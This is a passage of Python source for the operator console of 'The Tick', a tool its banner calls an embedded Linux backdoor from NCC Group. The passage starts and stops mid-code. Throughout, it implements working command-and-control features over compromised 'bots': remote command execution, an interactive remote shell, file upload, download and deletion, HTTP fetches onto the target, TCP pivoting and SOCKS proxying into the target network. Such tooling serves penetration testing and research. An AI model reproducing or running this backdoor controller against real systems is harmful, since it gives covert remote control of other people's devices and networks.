self.alive = False return self.sock ############################################################################## # Various background daemons for the console UI. # Daemon for remote shells. class RemoteShell(Thread): def __init__(self, sock): # Socket connected to a remote shell. self.sock = sock # Flag we'll use to tell the background thread to stop. self.alive = True # Call the parent class constructor. super(RemoteShell, self).__init__() # Set the thread as a daemon so way when the # main thread dies, this thread will die too. self.daemon = True # This method is invoked in a background thread. # It forwards everything coming from the remote shell to standard output. def run(self): try: while self.alive: buffer = self.sock.recv(1024) if not buffer: break sys.stdout.write(buffer) except: pass finally: try: self.sock.shutdown(2) except Exception: pass try: self.sock.close() except Exception: pass # This method is invoked from the main thread. # It forwards everying from standard input to the remote shell. # It launches the background thread and kills it before returning. # Control+C is caught within this function, which causes the # remote shell to be stopped without killing the console. def run_parent(self): self.start() try: while self.alive: buffer = sys.stdin.readline() if not buffer: break self.sock.sendall(buffer) except: # DO NOT change this bare except: line pass # I don't care what PEP8 has to say :P finally: self.alive = False try: self.sock.shutdown(2) except Exception: pass try: self.sock.close() except Exception: pass self.join() # Pivoting daemon. class TCPForward(Thread): def __init__(self, src_sock, dst_sock): # Keep the source and destination sockets. # This class only forwards in one direction, # so you have to instance it twice and swap # the source and destination sockets. self.src_sock = src_sock self.dst_sock = dst_sock # Flag we'll use to tell the background thread to stop. self.alive = False # Call the parent class constructor. super(TCPForward, self).__init__() # Set the thread as a daemon so way when the # main thread dies, this thread will die too. self.daemon = True # This method is invoked in a background thread. # It forwards everything from the source socket # into the destination socket. If either socket # dies the other is closed and the thread dies. def run(self): self.alive = True try: while self.alive: buffer = self.src_sock.recv(65535) if not buffer: break self.dst_sock.sendall(buffer) except: pass finally: self.kill() # Forcefully kill the background thread. # This one is easier than the others. :) def kill(self): if not self.alive: return self.alive = False try: self.src_sock.shutdown(2) except Exception: pass try: self.src_sock.close() except Exception: pass try: self.dst_sock.shutdown(2) except Exception: pass try: self.dst_sock.close() except Exception: pass # SOCKS proxy daemon. class SOCKSProxy(Thread): def __init__(self, listener, uuid, bind_addr = "127.0.0.1", port = 1080, username = "", password = ""): # The listener that requested to proxy through a bot. self.listener = listener # The UUID of the bot we'll use to route proxy requests. self.uuid = uuid # The address to bind to when listening for SOCKS requests. # Normally 0.0.0.0 for a shared proxy, 127.0.0.1 for private. self.bind_addr = bind_addr # The port to listen to for incoming SOCKS proxy requests. self.port = port # Optional username and password for the SOCKS proxy. self.username = username self.password = password if (username or password) and not (username and password): raise ValueError("Must specify both username and password or neither") # Flag we'll use to tell the background thread to stop. self.alive = False # Listening socket for incoming SOCKS proxy requests. # Will be created and destroyed inside the run() method. self.listen_sock = None # This is where we'll keep all the TCP forwarders. self.bouncers = [] # Call the parent class constructor. super(SOCKSProxy, self).__init__() # Set the thread as a daemon so way when the # main thread dies, this thread will die too. self.daemon = True # This method is invoked in a background thread. def run(self): # It's aliiiiiiive! \o/ self.alive = True try: # Listen on the specified port. self.listen_sock = socket() self.listen_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.listen_sock.bind((self.bind_addr, self.port)) self.listen_sock.listen(5) # Loop until they ask us to stop. while self.alive: # Accept incoming connections. # TODO add a console notification here? accept_sock = self.listen_sock.accept()[0] # Serve each request one by one. # This is a bit crappy because, in theory, someone could # connect a socket here and just wait, blocking the whole # thing. But I don't think we should worry about that. # Normal requests won't block because we'll spawn a thread # for each once the tunnel has been established. # On error, destroy the socket. try: self.serve_socks_request(accept_sock) except: try: accept_sock.shutdown(2) except Exception: pass try: accept_sock.close() except Exception: pass if self.alive: #print_exc() # XXX DEBUG continue raise # Kill the proxy on error. except Exception: #if self.alive: # print_exc() # XXX DEBUG # try: # self.kill() # except Exception: # print_exc() # XXX DEBUG #else: try: self.kill() except Exception: pass # Make sure to clean up on exit. finally: # Not alive anymore. :sadface: self.alive = False # Destroy the listening socket. try: self.listen_sock.shutdown(2) except Exception: pass try: self.listen_sock.close() except Exception: pass # Process each SOCKS proxy request. # This method runs in a background thread and may spawn more threads. # Caller is assumed to destroy the socket after the call. def serve_socks_request(self, sock): # This blog post helped me a lot :) # https://rushter.com/blog/python-socks-server/ # First header is the version and acceptable auth methods. # We only support SOCKS 5 and will ignore the auth. :P request = recvall(sock, 2) if len(request) != 2: return # fail silently version, num_auth = unpack("!BB", request) if version != 5: return # prevents easy fingerprinting #sock.sendall(pack("!BB", 5, 0xff)) #raise RuntimeError("Bad SOCKS client") methods = recvall(sock, num_auth) # If we have a username and password, ask for them. # If we don't then just let them it. :) # If the client insists on giving us a password # anyway, just accept anything they send us. # TODO perhaps notify the console when this happens? if (self.username and self.password) or "\x00" not in methods: sock.sendall(pack("!BB", 5, 2)) request = recvall(sock, 2) if not request: return # fail silently version, ulen = unpack("!BB", request) assert version == 1 uname = recvall(sock, ulen) plen, = unpack("!B", recvall(sock, 1)) passwd = recvall(sock, ulen) if self.username and self.password and (self.username != uname or self.password != passwd): sock.sendall(pack("!BB", 5, 0xff)) # TODO perhaps notify the console when this happens? #raise RuntimeError("SOCKS authentication failure, user: %r, pass: %r" % (uname, passwd)) return # fail silently sock.sendall(pack("!BB", 1, 0)) else: sock.sendall(pack("!BB", 5, 0)) # If all went well we should get a proxy request now. # We only support CONNECT requests for IPv4. request = recvall(sock, 4) if not request: return # fail silently version, cmd, _, atyp = unpack("!BBBB", request) if version != 5 or cmd != 1 or atyp not in (1, 3): sock.sendall(pack("!BBBBIH", 5, 5, 0, atyp, 0, 0)) return #raise RuntimeError("Unsupported SOCKS request") if atyp == 1: addr = inet_ntoa(recvall(sock, 4)) port, = unpack("!H", recvall(sock, 2)) elif atyp == 3: name_len, = unpack("!B", recvall(sock, 1)) name = recvall(sock, name_len) port, = unpack("!H", recvall(sock, 2)) else: raise AssertionError("wtf") # Try to get the bot now. # If we can't find it, reject the connection attempt. try: bot = self.listener.bots[self.uuid] except Exception: sock.sendall(pack("!BBBBIH", 5, 5, 0, atyp, 0, 0)) raise # Do a DNS resolution remotely if needed. if atyp == 3: try: addr = None for x in bot.dns_resolve(name): try: inet_aton(x) addr = x break except error: continue if not addr: raise RuntimeError("could not resolve %s to ipv4 address" % name) except Exception: sock.sendall(pack("!BBBBIH", 5, 5, 0, atyp, 0, 0)) raise # Do a TCP pivot on the bot. try: bot_sock = bot.tcp_pivot(addr, port) except Exception: sock.sendall(pack("!BBBBIH", 5, 5, 0, atyp, 0, 0)) raise try: # Tell the client the connection was successful. sock.sendall(pack("!BBBB", 5, 0, 0, 1) + inet_aton(addr) + pack("!H", port)) # Launch the TCP forwarders now. bouncer_1 = TCPForward(sock, bot_sock) bouncer_2 = TCPForward(bot_sock, sock) bouncer_1.start() bouncer_2.start() self.bouncers.append(bouncer_1) self.bouncers.append(bouncer_2) # Clean up the pivoted connection on exception. except Exception: try: bot_sock.shutdown(2) except Exception: pass try: bot_sock.close() except Exception: pass raise # Forcefully kill the background thread. # The accept() call is a bit particular in Python, # we can't just close the socket and call it a day. # This resulted in stubborn listener threads who simply # refused to die... extreme measures had to be taken. ;) def kill(self): # Trivial case. if not self.alive: return # Set the flag to false so the thread # knows we are asking it to quit. self.alive = False try: # Connect briefly to the listnening port. # This will "wake up" the thread stuck # in the blocking socket accept() call. s = socket() try: s.connect(("127.0.0.1", self.port)) finally: s.close() finally: # Kill all the TCP forwarders too. while self.bouncers: bouncer = self.bouncers.pop() try: bouncer.kill() except Exception: print_exc() # XXX DEBUG pass ############################################################################## # The Tick console. This is the one that launches everything else. # Based on the standard cmd module, but with various hacks inside. # And with pretty colors! Colorrrrrrssssssssssssssssssss! class Console(Cmd): "Interactive text console to manage The Tick bots." # Header for help page. doc_header = 'Available commands (type help * or help <command>)' def __init__(self, args = ()): # This member will contain the currently selected bot. self.current = None # This is a set of previously seen bot UUIDs. # We use this to avoid notifying the user for bot reconnections, # since we only want to show new bots connecting to the C&C. # Reconnections may happen sporadically and just clutter the screen. self.known_bots = set() # These are the currently running SOCKS proxies. # Keys are port numbers, values are SOCKSProxy objects. # See the do_proxy() method for more details. self.proxies = {} # The TCP port listener for bots will be here. self.listener = None # This is the list of queued notifications. # Notifications come from a background thread and when possible # they are shown in real time, but when not they are queued here. self.notifications = [] # This flag is related to the notifications. # We'll use it to know whether it's safe to print them directly # or we should wait until a better time to do it. Specifically, # we will only print notifications in real time if the main thread # is blocked waiting for user input, and queue them in any other case. self.inside_prompt = False # All the supported command line switches go here. parser = ArgumentParser(formatter_class=ColorHelpFormatter, prog=Fore.GREEN+Style.BRIGHT+os.path.basename(sys.argv[0])+Style.RESET_ALL, description="Embedded Linux Backdoor by Mario Vilas (NCC Group)") parser.add_argument("--version", action="version", version="The Tick, by Mario Vilas (NCC Group), version " + Fore.YELLOW + "0.1" + Style.RESET_ALL) parser.add_argument("-b", "--bind", dest="bind_addr", default="0.0.0.0", metavar=Fore.BLUE+Style.BRIGHT+"ADDRESS"+Style.RESET_ALL, help="IP address to bind all the listeners to [default: "+Fore.YELLOW+"0.0.0.0"+Style.RESET_ALL+"]") parser.add_argument("-p", "--port", type=int, default=5555, metavar=Fore.BLUE+Style.BRIGHT+"PORT"+Style.RESET_ALL, help="Port to bind the TCP listener to [default: "+Fore.YELLOW+"5555"+Style.RESET_ALL+"]") parser.add_argument("--no-color", action="store_true", default=False, help=("Disable the use of ANSI escape sequences (i.e. pretty "+ Fore.RED+"c"+Style.BRIGHT+"o"+Fore.YELLOW+"l"+Fore.GREEN+"o"+Fore.BLUE+"r"+Fore.MAGENTA+"s"+Style.RESET_ALL+ " and other niceties)")) parser.add_argument("--pro", action="store_true", default=False, help="Replace the 0ldsch00l bloody banner with a cleaner, more sober banner,"\ " one more suitable for a pentesting report from an infosec professional"\ " such as yourself. Yes, this is who you are now. Accept it.") # Try to adjust the help text to the console size. # On error just ignore it and go with the default. try: width = int(check_output('stty size 2>/dev/null', shell=True).split(' ')[1]) if width > 160: width = 140 elif width < 80: width = 80 os.environ["COLUMNS"] = str(width) except Exception: pass # Parse the command line arguments. self.args = parser.parse_args(args) # Show either the fun or the boring banner. self.use_boring_banner = self.args.pro # Call the parent class constructor. Cmd.__init__(self) # Context manager to ensure proper cleanup. # Launching the daemons is done here to ensure it's mandatory. def __enter__(self): # Fire up the TCP C&C listener. self.listener = Listener(self.notify_new_bot, self.args.bind_addr, self.args.port) self.listener.start() # Comply with the context managers protocol. return self # Context manager to ensure proper cleanup. # This will kill all the background daemons. def __exit__(self, *args): try: for proxy in self.proxies.values(): try: proxy.kill() except Exception: print_exc() except Exception: print_exc() try: self.listener.kill() except Exception: print_exc() # This method is called by the listener whenever a new bot connects. # It will show a message to the user right below the command prompt. # Note that this method will be invoked from a background thread. def notify_new_bot(self, listener, bot): # Notifications for reconnecting bots are skipped because they're # not very useful except for debugging. if bot.uuid not in self.known_bots: # Prepare the notification text. index = listener.bots.keys().index(bot.uuid) text = "Bot %d [%s] connected from %s" % (index, bot.uuid, bot.from_addr[0]) text = Fore.BLUE + Style.BRIGHT + text + Style.RESET_ALL # If the main thread is blocked waiting at the prompt, # do some ANSI escape codes magic to insert the notification text on screen. # Note that we cannot use this trick if --no-color was specified. # (I mean, we could, but what if the reason the colors were turned off # was that the C&C was not being run in a console with a proper tty?) if self.inside_prompt and ANSI_ENABLED: buf_bkp = readline.get_line_buffer() sys.stdout.write("\033[s\033[0G\033[2K" + text + "\n") sys.stdout.write(self.prompt.replace("\x01", "").replace("\x02", "") + buf_bkp + "\033[u\033[1B") readline.redisplay() # If we are not blocked at the prompt, better not write now! # We would be messing up the output of some command. # We'll queue the notification instead to be shown later. else: self.notifications.append(text) # Remember we've seen this bot so we don't notify again. self.known_bots.add(bot.uuid) # Hook the precmd event to know when we're out of the command prompt. def precmd(self, line): try: # If the currently selected bot is not alive, deselect it automatically. # This may happen for example if the bot dies after executing a command, # the connection is dropped unexpectedly, or the command was one of those # that reuse the C&C socket to do something else. if self.current is not None and (not self.current.alive or self.is_bot_busy()): self.current = None # Set the flag to indicate we're NOT blocked at the prompt. self.inside_prompt = False # Catch all exceptions, show the traceback and continue. except Exception: print_exc() # Don't forget to return this or we can't run commands! return line # Hook the precmd event to know when we're in the command prompt. # This is also a good time to issue the queued notifications. def postcmd(self, stop, line): try: # If the currently selected bot is not alive, deselect it automatically. # This may happen for example if the bot dies after executing a command, # the connection is dropped unexpectedly, or the command was one of those # that reuse the C&C socket to do something else. if self.current is not None and (not self.current.alive or self.is_bot_busy()): self.current = None # If we have queued notifications, show them now. while self.notifications: print self.notifications.pop(0) # Set the flag to indicate we're blocked at the prompt. self.inside_prompt = True # Catch all exceptions, show the traceback and continue. except Exception: print_exc() # Don't forget to return this or we can't quit! return stop # Hook the preloop event because otherwise we don't # find out when the prompt is shown for the first time. def preloop(self): try: # If the currently selected bot is not alive, deselect it automatically. # This may happen for example if the bot dies after executing a command, # the connection is dropped unexpectedly, or the command was one of those # that reuse the C&C socket to do something else. if self.current is not None and (not self.current.alive or self.is_bot_busy()): self.current = None # Set the flag to indicate we're blocked at the prompt. self.inside_prompt = True # Catch all exceptions, show the traceback and continue. except Exception: print_exc() # Default behaviour for the base class is to repeat the last command if # a blank line is given. This is quite dangerous so we're disabling it. def emptyline(self): return "" # This property generates the banner. @property def intro(self): # Prepare the dynamic part of the banner. listening_on = ("Listening on: %s:%d" % (self.listener.bind_addr, self.listener.port)) # Boring banner :( if self.use_boring_banner: return ( BORING_BANNER + " Embedded Linux Backdoor\nby Mario Vilas (NCC Group)\n\n" + Fore.GREEN + listening_on + Style.RESET_ALL ) # Fun banner :) return ( FUN_BANNER + Style.BRIGHT + " Embedded Linux Backdoor\n" + Style.NORMAL + " by Mario Vilas (NCC Group)\n\n" + Fore.GREEN + listening_on + Style.RESET_ALL ) # This property generates the command prompt. @property def prompt(self): # If the currently selected bot is not alive, deselect it automatically. # This may happen for example if the bot dies after executing a command, # the connection is dropped unexpectedly, or the command was one of those # that reuse the C&C socket to do something else. if self.current is not None and (not self.current.alive or self.is_bot_busy()): self.current = None # If no bot is selected, show the corresponding prompt. if self.current is None: return "\x01" + Fore.RED + "\x02" + "[No bot selected] " + "\x01" + Style.RESET_ALL + "\x02" # If a bot is selected, show its info in the prompt. bot = self.current index = self.listener.bots.keys().index(bot.uuid) addr = bot.from_addr[0] return "\x01" + Fore.GREEN + Style.BRIGHT + "\x02" + ("[Bot %d: %s] " % (index, addr)) + "\x01" + Style.RESET_ALL + "\x02" # Helper function to tell if a bot is busy. # If no bot is given, the currently selected bot is tested. def is_bot_busy(self, bot = None): if bot is None: bot = self.current if bot is None: return False uuid = bot.uuid for x in self.proxies.values(): if x.uuid == uuid: return True return False # # The implementation for each command follows. # def do_help(self, line): """ \x1b[32m\x1b[1mhelp\x1b[0m \x1b[32m\x1b[1mhelp\x1b[0m \x1b[34m\x1b[1m*\x1b[0m \x1b[32m\x1b[1mhelp\x1b[0m <\x1b[34m\x1b[1mcommand\x1b[0m> [\x1b[34m\x1b[1mcommand\x1b[0m...] Without arguments, shows the list of available commands. With arguments, shows the help for one or more commands. Use "\x1b[34m\x1b[1mhelp *\x1b[0m" to show help for all commands at once. The question mark "\x1b[34m\x1b[1m?\x1b[0m" can be used as an alias for "\x1b[34m\x1b[1mhelp\x1b[0m".\n""" if not line.strip(): Cmd.do_help(self, line) else: commands = split(line, comments=True) if commands == ["*"]: commands = self.get_names() commands = [ x[3:] for x in commands if x.startswith("do_") ] commands.sort() last = len(commands) - 1 index = 0 for cmd in commands: Cmd.do_help(self, cmd) if index < last: print Fore.RED + Style.BRIGHT + ("-" * 79) + Style.RESET_ALL index += 1 def do_exit(self, line): """ \x1b[32m\x1b[1mexit\x1b[0m Exit the command interpreter. This command takes no arguments.\n""" # Parse the arguments, on error show help. if line.strip(): self.onecmd("help exit") return # Quit the command intepreter. # The context manager will take care of cleaning up. return True def do_clear(self, line): """ \x1b[32m\x1b[1mclear\x1b[0m Clear the screen. This command takes no arguments.\n""" # Parse the arguments, on error show help. if line.strip(): self.onecmd("help clear") return # Clear the screen using the magic of ANSI escape codes. # We need to make sure the escape codes are not being filtered out. if not ANSI_ENABLED: deinit() init() print "\033[2J\033[1;1f" if not ANSI_ENABLED: deinit() init(wrap = True, strip = True) def do_bots(self, line): """ \x1b[32m\x1b[1mbots\x1b[0m List all currently connected bots. This command takes no arguments.\n""" # Parse the arguments, on error show help. if line.strip(): self.onecmd("help bots") return # If we have no connected bots, just show an error message. if not self.listener.bots: print Fore.YELLOW + "No bots have connected yet" + Style.RESET_ALL return # We will show the list of bots in an ASCII art table. # Because of course we will. ;) # Note that we can't use ANSI escapes here because the # size calculations for the table go wrong, so we do a # dirty trick instead with placeholder characters. table = Texttable() table.set_deco(Texttable.HEADER) table.set_cols_dtype(("i", "t", "t", "t")) table.set_cols_align(("l", "c", "c", "c")) table.set_cols_valign(("t", "t", "t", "t")) table.set_cols_width((len(str(len(self.listener.bots))), 38, 17, 6)) table.add_rows((("#", "UUID", "IP address", "Status"),), header = True) i = 0 for bot in self.listener.bots.values(): busy = self.is_bot_busy(bot) status = "\x01gone\x04" if bot.alive: status = "\x03live\x04" if busy: status = "\x02busy\x04" table.add_row(( i, bot.uuid, "\x02" + bot.from_addr[0] + "\x04", status )) i += 1 text = table.draw() text = text.replace("\x01", " " + Fore.RED + Style.BRIGHT) text = text.replace("\x02", " " + Fore.BLUE + Style.BRIGHT) text = text.replace("\x03", " " + Fore.GREEN + Style.BRIGHT) text = text.replace("\x04", Style.RESET_ALL + " ") print print text print def do_current(self, line): """ \x1b[32m\x1b[1mcurrent\x1b[0m Shows the currently selected bot. This command takes no arguments.\n""" # Parse the arguments, on error show help. if line.strip(): self.onecmd("help current") return # If no bot is selected, show a simple message. if self.current is None: print Fore.YELLOW + "No bot selected" + Style.RESET_ALL return # Show the details of the currently selected bot. bot = self.current addr = bot.from_addr[0] uuid = bot.uuid index = self.listener.bots.keys().index(uuid) print ( "\n" + "Bot number: #%d\n" + "IP address: %s\n" + "UUID: [" + Fore.BLUE + Style.BRIGHT + "%s" + Style.RESET_ALL + "]\n" ) % (index, addr, uuid) def do_use(self, line): """ \x1b[32m\x1b[1muse\x1b[0m <\x1b[34m\x1b[1mIP address\x1b[0m> \x1b[32m\x1b[1muse\x1b[0m <\x1b[34m\x1b[1mnumber\x1b[0m> \x1b[32m\x1b[1muse\x1b[0m <\x1b[34m\x1b[1mUUID\x1b[0m> \x1b[32m\x1b[1muse\x1b[0m Select a bot to use. Try the "\x1b[32m\x1b[1mbots\x1b[0m" command to list the available bots. When invoked with no arguments, the currently selected bot is deselected.\n""" # When invoked with no arguments, deselect the current bot. line = line.strip() if not line: self.current = None else: # Parse the arguments, on error show help. try: bot_id, = split(line, comments=True) except Exception: self.onecmd("help use") return # If a UUID was passed, we can fetch it directly from the dict. try: bot = self.listener.bots[bot_id] except KeyError: # If a number was passed, we can get it by index. # That's why we used an OrderedDict in the listener. try: bot = self.listener.bots.values()[ int(bot_id) ] except IndexError: print Fore.YELLOW + ("Error: no bot number %d found" % int(bot_id)) + Style.RESET_ALL return except ValueError: # Last change: was it an IP address? # Fetch the first bot we can find from that IP. # There may be more than one (think a LAN behind a NAT), # but that's the user's problem, not ours... try: inet_aton(bot_id) except error: self.onecmd("help use") # wasn't an IP either :( return found = False index = 0 for bot in self.listener.bots.values(): if bot.alive and bot_id == bot.from_addr[0]: found = True break index = index + 1 if not found: print Fore.YELLOW + ("Error: no bot connected to IP address %s" % bot_id) + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(bot): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # The bot must be alive. if not bot.alive: print Fore.YELLOW + "Bot is disconnected" + Style.RESET_ALL return # Select the bot. self.current = bot def do_pull(self, line): """ \x1b[32m\x1b[1mpull\x1b[0m <\x1b[34m\x1b[1mremote file\x1b[0m> <\x1b[34m\x1b[1mlocal file\x1b[0m> Pull a file from the target machine.\n""" # A bot must be selected. if self.current is None: print Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # Parse the arguments, on error show help. try: remote_file, local_file = split(line, comments=True) except Exception: self.onecmd("help pull") return # Perform the operation. self.current.file_read(remote_file, local_file) def do_push(self, line): """ \x1b[32m\x1b[1mpush\x1b[0m <\x1b[34m\x1b[1mlocal file\x1b[0m> <\x1b[34m\x1b[1mremote file\x1b[0m> Push a file into the target machine.\n""" # A bot must be selected. if self.current is None: print Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # Parse the arguments, on error show help. try: local_file, remote_file = split(line, comments=True) except Exception: self.onecmd("help push") return # Perform the operation. self.current.file_write(local_file, remote_file) def do_chmod(self, line): """ \x1b[32m\x1b[1mchmod\x1b[0m <\x1b[34m\x1b[1mremote file\x1b[0m> Change a file's access mode flags.\n""" # A bot must be selected. if self.current is None: print Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # Parse the arguments, on error show help. try: remote_file, mode_flags = split(line, comments=True) except Exception: self.onecmd("help chmod") return # Perform the operation. self.current.file_chmod(remote_file, int(mode_flags, 8)) def do_rm(self, line): """ \x1b[32m\x1b[1mrm\x1b[0m <\x1b[34m\x1b[1mremote file\x1b[0m> Delete a file.\n""" # A bot must be selected. if self.current is None: print Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # Parse the arguments, on error show help. try: remote_file, = split(line, comments=True) except Exception: self.onecmd("help rm") return # Perform the operation. self.current.file_delete(remote_file) def do_exec(self, line): """ \x1b[32m\x1b[1mexec\x1b[0m <\x1b[34m\x1b[1mcommand line\x1b[0m> Execute a non interactive command. The output of the command is limited to 1024 bytes.\n""" # A bot must be selected. if self.current is None: print Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # Perform the operation. output = self.current.file_exec(line) # If the output is exactly 1023 bytes long, # that means it was likely truncated. if len(output) == 1023: output += "\n" + Fore.RED + Style.BRIGHT + "<output truncated>" + Style.RESET_ALL # Print the output from the command to screen. print output def do_download(self, line): """ \x1b[32m\x1b[1mdownload\x1b[0m <\x1b[34m\x1b[1murl\x1b[0m> <\x1b[34m\x1b[1mremote file\x1b[0m> Download a file via HTTP into the target machine. Use the "\x1b[32m\x1b[1mpull\x1b[0m" command to retrieve the file locally afterwards.\n""" # A bot must be selected. if self.current is None: print Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # Parse the arguments, on error show help. try: url, remote_file = split(line, comments=True) except Exception: self.onecmd("help download") return # Perform the operation. self.current.http_download(url, remote_file) def do_fork(self, line): """ \x1b[32m\x1b[1mfork\x1b[0m Fork the bot instance. This will create a new bot instance that will connect automatically. The new instance will have a new UUID. This command takes no arguments.\n""" # A bot must be selected. if self.current is None: print Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # Parse the arguments, on error show help. try: assert not split(line, comments=True) except Exception: self.onecmd("help fork") return # Perform the operation. self.current.system_fork() def do_shell(self, line): """ \x1b[32m\x1b[1mshell\x1b[0m Launch an interactive shell over the C&C connection. This command takes no arguments.\n""" # A bot must be selected. if self.current is None: print Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # Parse the arguments, on error show help. try: assert not split(line, comments=True) except Exception: self.onecmd("help shell") return # Remember the UUID of the bot. We will need this later. uuid = self.current.uuid # Launch an interactive shell on top of the interpreter. # When the remote shell dies, return to the interpreter. # When Control+C is hit, return to the interpreter. sock = self.current.system_shell() sleep(0.1) # wait for the reconnection print Fore.YELLOW + "/-------------------------------------------------\\" + Style.RESET_ALL print Fore.YELLOW + "| Entering remote shell. Use " + Style.BRIGHT + "Control+C" + Style.NORMAL + " to return. |" + Style.RESET_ALL print Fore.YELLOW + "\\-------------------------------------------------/" + Style.RESET_ALL shell = RemoteShell(sock) shell.run_parent() print # Try to re-select the same bot when exiting the shell. # We need to do this because the shell command reuses the C&C socket, # so the bot mut reconnect in the background with a new socket. self.current = self.listener.bots.get(uuid, None) def do_dig(self, line): """ \x1b[32m\x1b[1mdig\x1b[0m <\x1b[34m\x1b[1mdomain name\x1b[0m> Resolve a domain name at the bot. This is useful for resolving local domains at the target network.\n""" # A bot must be selected. if self.current is None: print Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # Parse the arguments, on error show help. try: domain, = split(line, comments=True) assert domain except Exception: self.onecmd("help dig") return # Perform the operation. answer = self.current.dns_resolve(domain) # Show the results. for addr in answer: print addr def do_pivot(self, line): """ \x1b[32m\x1b[1mpivot\x1b[0m <\x1b[34m\x1b[1mlisten on port\x1b[0m> <\x1b[34m\x1b[1mconnect to IP address\x1b[0m> <\x1b[34m\x1b[1mconnect to port\x1b[0m> Create a one shot TCP tunnel. Useful for pivoting when launching exploits. This tunnel will only be available to localhost and the port is closed once a client has connected.\n""" # A bot must be selected. if self.current is None: print Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # Make sure the bot is still alive. # This is inaccurate and strictly speaking unneeded, # but it helps a bit since we're about to launch # multiple threads and all that stuff, and we may # want to skip it for obviously wrong scenarios. assert self.current.alive # Parse the arguments, on error show help. try: listen, address, port = split(line, comments=True) except Exception: self.onecmd("help pivot") return # Remember the UUID of the bot. We will need this later. uuid = self.current.uuid # Listen on the requested port and wait for a single connection. listen = int(listen) port = int(port) address = gethostbyname(address) listen_sock = socket() listen_sock.bind( ("127.0.0.1", listen) ) listen_sock.listen(1) print "Connect to port %d now..." % listen accept_sock = listen_sock.accept()[0] try: # We got our connection, so we can stop listening. listen_sock.shutdown(2) listen_sock.close() # Connect to the target IP and port using the bot as a pivot. # This reuses the current C&C socket so we won't be able to # issue any more commands over it again. The bot will reconnect # automatically in the background, however. connect_sock = self.current.tcp_pivot(address, port) try: try: # Fire up the TCP bouncers, one for each direction. # That way we get a realtime duplex channel. # Reading and writing sequentially would be a mistake, # since we cannot be sure of the order in which that # will happen, and we could deadlock. bouncer_1 = TCPForward(connect_sock, accept_sock) bouncer_2 = TCPForward(accept_sock, connect_sock) bouncer_1.start() bouncer_2.start() # Nobody uses this, but we need it somewhere so the # garbage collector doesn't destroy our objects. # TODO review if this is actually true... self.current.bouncers = (bouncer_1, bouncer_2) finally: # Try to re-select the same bot when exiting the shell. # We need to do this because the pivot reuses the C&C socket, # so the bot mut reconnect in the background with a new socket. sleep(0.1) self.current = self.listener.bots.get(uuid, None) # Just cleanup and error handling below. except: try: connect_sock.shutdown(2) except: pass try: connect_sock.close() except: pass raise except: try: accept_sock.shutdown(2) except: pass try: accept_sock.close() except: pass raise def do_proxy(self, line): """ \x1b[32m\x1b[1mproxy\x1b[0m [\x1b[33m\x1b[1mls\x1b[0m] \x1b[32m\x1b[1mproxy\x1b[0m [\x1b[33m\x1b[1madd\x1b[0m] <\x1b[34m\x1b[1mport\x1b[0m> [\x1b[34m\x1b[1mbind address\x1b[0m] [\x1b[34m\x1b[1musername\x1b[0m] [\x1b[34m\x1b[1mpassword\x1b[0m] \x1b[32m\x1b[1mproxy\x1b[0m \x1b[33m\x1b[1mrm\x1b[0m <\x1b[34m\x1b[1mport\x1b[0m> Opens a SOCKS proxy on the given local port. Proxied connections will come out from the bot. Subcommands are: \x1b[33m\x1b[1mls\x1b[0m Lists the currently active proxies \x1b[33m\x1b[1madd\x1b[0m Adds a new proxy \x1b[33m\x1b[1mrm\x1b[0m Removes an active proxy Arguments are: \x1b[33m\x1b[1mbind address\x1b[0m Address to bind to (default: \x1b[34m\x1b[1m127.0.0.1\x1b[0m) \x1b[33m\x1b[1mport\x1b[0m Port to listen on, also identifies the proxy \x1b[33m\x1b[1musername\x1b[0m Optional username (if set, password must set too) \x1b[33m\x1b[1mpassword\x1b[0m Optional password\n""" # This command has a tricky syntax with various subcommands. # They are listed below, along with helpful aliases. valid_commands = { "a": "add", "r": "rm", "l": "ls", } # Parse the command arguments. try: args = list(split(line, comments=True)) # Trivial case (no arguments at all). # This is the same as the "ls" subcommand. if not args: command = "ls" port = None else: # Next easy case: no subcommand, just a port number. # That is shorthand for the "add" subcommand. # To make the logic easier we will just insert it. try: int(args[0]) args.insert(0, "add") except ValueError: pass # Get the subcommand. # If an alias has been used, convert it to the full name. command = args.pop(0) command = valid_commands.get(command, command) assert command in valid_commands.values() # Parse the "add" subcommand arguments. if command == "add": port = int(args.pop(0)) assert 0 < port < 65536 if args: bind_addr = args.pop(0) bind_addr = inet_ntoa(inet_aton(bind_addr)) if args: username = args.pop(0) password = args.pop(0) # must be used together assert not args else: username = "" password = "" else: bind_addr = "127.0.0.1" username = "" password = "" # Parse the "rm" subcommand arguments. elif command == "rm": port = int(args.pop(0)) assert 0 < port < 65536 assert not args # Parse the "ls" subcommand arguments. elif command == "ls": assert not args # Should never reach here. else: raise AssertionError() # On error show a help message. except Exception: #print_exc() # XXX DEBUG self.onecmd("help proxy") return # Execute the "add" subcommand. if command == "add": # A bot must be selected. if 